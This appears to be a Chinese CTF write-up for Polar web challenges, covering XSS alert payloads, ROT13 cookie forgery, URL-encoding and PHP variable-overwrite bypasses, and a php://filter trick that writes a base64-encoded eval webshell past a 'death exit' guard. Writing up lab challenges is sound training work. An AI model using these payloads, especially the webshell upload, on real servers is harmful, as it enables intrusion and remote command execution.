polar-web题目

1.简单题

1.1 来个弹窗2.0

直接输入xss代码看是否直接弹窗可以得到flag

鼠标代码<img src=x οnerrοr=alert(1)>

或者是其他的只要实现了弹窗功能就行

看过海贼王的话这个人并不陌生(本萨姆)

根据要求直接md5加密得到

1.2 help

得到ZmxhZ3t3b19haV9ndWFfeml9

尝试解密,不是md5,再尝试base64

得到flag:flag{wo_ai_gua_zi}

1.3 cookie欺骗2.0

登录后发现他说你已成功绕过验证,但你不是管理员!

抓包看看

Cookie: PHPSESSID=1h61sgna2g0p9p8ginoeprl6je; user=user1; auth=hfre1

根据题目应该在cooike里面找到相应的一个方向

发现user=user1; auth=hfre1

但是开始给的测试账号 user1 / pass1

发现user是对应user但是pass变成了hfre1

然后在下图里面看见俩个Set-Cookie

Set-Cookie: user=user1; path=/

Set-Cookie: auth=hfre1; path=/

此时没什么头绪尝试用ai试试看,是否是什么加密,发现是rot13加密

ROT13(凯撒密码的一种,移位13)

来验证一下:

user1

  • u → h(u是第21个字母,21+13=34,34-26=8 → h)

  • s → f(s是19,19+13=32,32-26=6 → f)

  • e → r(e是5,5+13=18 → r)

  • r → e(r是18,18+13=31,31-26=5 → e)

  • 1 → 1(数字不变)

那么尝试弱口令然后把密码使用同样加密的方法来试试

302重定向然后flag.php得到flag:Flag: flag{80424ffd15b0b051203d05b47b7c8637}

1.4 uii

const submitBtn = document.getElementById('submit-btn'); const inputBox = document.getElementById('input-box'); submitBtn.addEventListener('click', function() { const inputValue = inputBox.value.trim(); if (inputValue === '拿铁') { window.location.href = 'i.php'; } else { // 如果不是,弹出提示框 alert('咖啡种类不正确哦'); } });

复制代码
<?php

if (isset($_GET["uii"]) && $_GET["uii"] === "Yzz") {

    echo "不正确";

    exit();

}

if (isset($_GET["uii"])) {

    $_GET["uii"] = urldecode($_GET["uii"]); 

    if ($_GET["uii"] == "Yzz") {

        echo "提交正确!!!";

        echo "Flag:   ";

        exit(); 

    }

} else {

    echo " ";

}

?>

根据这个知道是拿铁,进行url编码?uii=Y%7a%7a

flag:{23dhw38wr98034dfz}

2.中等题

2.1到底给不给flag呢

<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />
`

<?php` ` highlight_file('1.txt');` ` echo "

";` ` $flag = 'flag{f73da0c8e7c774d488a6df0fec2890d9}';` ` $qwq= '我想要flag';` ` $QAQ = '我又不想要flag了,滚吧';` ` if(!isset($_GET['flag']) && !isset($_POST['flag'])){` ` exit($qwq);` ` }` ` if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){` ` exit($QAQ);` ` }` ` foreach ($_POST as $key => $value) {` ` $$key = $value;` ` }` ` foreach ($_GET as $key => $value) {` ` $$key = $$value;` ` }` ` echo $flag;` 我想要flag 代码审计:`if(!isset($_GET['flag']) && !isset($_POST['flag'])){` ` exit($qwq);` ` }` `当没有给flag赋值的时候就是我想要flag` `if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){` ` exit($QAQ);` ` }` `当给flag赋值flag的时候就是我又不想要flag了,滚吧` `此时重点就是` `foreach ($_POST as $key => $value) {` ` $$key = $value;` ` }` ` foreach ($_GET as $key => $value) {` ` $$key = $$value;` ` }` ` echo $flag;` 根据网上资料可以知道这是**$$导致的变量覆盖问题** **构造payload:?a=flag\&flag=a** 1. 第一个 GET 参数 `a=flag`: `$a = $flag`(拿到 flag 值) 2. 第二个 GET 参数 `flag=a`: `$flag = $a`(重新把 flag 值赋给 `$flag`) 3. 最终 `$flag` 没丢,输出正确。![](https://i-blog.csdnimg.cn/direct/35d0b0f692c94431ba8e59a333e5df3b.png) flag{7c21614802acfb30b55697b3f5122be1} 2.2写shell 这是一道非常经典的 "死亡 exit 绕过" 题目。 代码核心: php file_put_contents($_GET\['filename'\], "\<?php exit();" . $_POST\['content'\]); 通过 GET 参数 filename 指定写入的文件名 写入的内容是:"\<?php exit();" + POST 参数 content 因为开头是 \<?php exit();,所以即使写入了 webshell,访问这个文件时也会立即退出,不会执行后续恶意代码 所以为了避免退出这个,就直接绕过,然后直接考虑伪协议 php://filter/\[过滤器1\]/\[过滤器2\]/.../resource=要操作的实际文件 dir扫一下目标文件 前半段的get的payload是?filename=php://filter/convert.base64-decode/resource=shell.php 后面为了防止退出就需要加密(尝试base64加密)也需要添加后门的代码\<?php exit();\<?php @eval($_POST\[1\]);?\> 所以后半段post的payload是\<?= @eval($_POST\['cmd'\]); ?\>进行base64代码加密,经过前面的这个伪协议可以使exit()函数直接当作不存在 ![](https://i-blog.csdnimg.cn/direct/17ff455cb90348f6b5918e59f0b15c29.png) ``` content=aPD89IEBldmFsKCRfUE9TVFsnY21kJ10pOyA/Pg==(凑成4的倍数ho) ``` ![](https://i-blog.csdnimg.cn/direct/f9143c2b114e403bb51c6ed25b5c092b.png) 用蚁剑连接可以看到自己的shell文件 ![](https://i-blog.csdnimg.cn/direct/61b7853d94de4e279b82ea0d9faf06bb.png) 最后得到: flag{30c42ede8bc4b32e2ae125afaeebee6f}
相关推荐
OpenTiny社区2 小时前
不仅是修复 Bug:TinyVue 3.29.0 把“无障碍信息”写进了组件的 DNA 里
前端·javascript·vue.js
鹿鹿鹿鹿isNotDefined2 小时前
Pixelium Design 更新:首版表格上线,完善表单、导航、反馈及视觉组件
前端·javascript
Pu_Nine_92 小时前
企业级 Axios 配置实战:从基础到完整封装
前端·ajax·axios·网络请求·企业级
低调小一2 小时前
OpenClaw 模型配置与火山 Coding Plan 支持清单(实践笔记)
java·前端·笔记·openclaw
悦心无谓2 小时前
C++负载均衡式在线OJ测试报告
开发语言·c++·selenium·测试工具·负载均衡·编程语言·后端开发
毛骗导演2 小时前
万字解析 OpenClaw 源码架构-消息渠道集成简介
前端·架构
kyriewen2 小时前
别再直接 git push 了!这个"魔法"参数让你的代码质量翻倍
前端·git·命令行
꯭ 瞎꯭扯꯭蛋꯭2 小时前
3万字80道Java基础经典面试题总结
java·开发语言
小二·2 小时前
Go 语言系统编程与云原生开发实战(第36篇)
开发语言·云原生·golang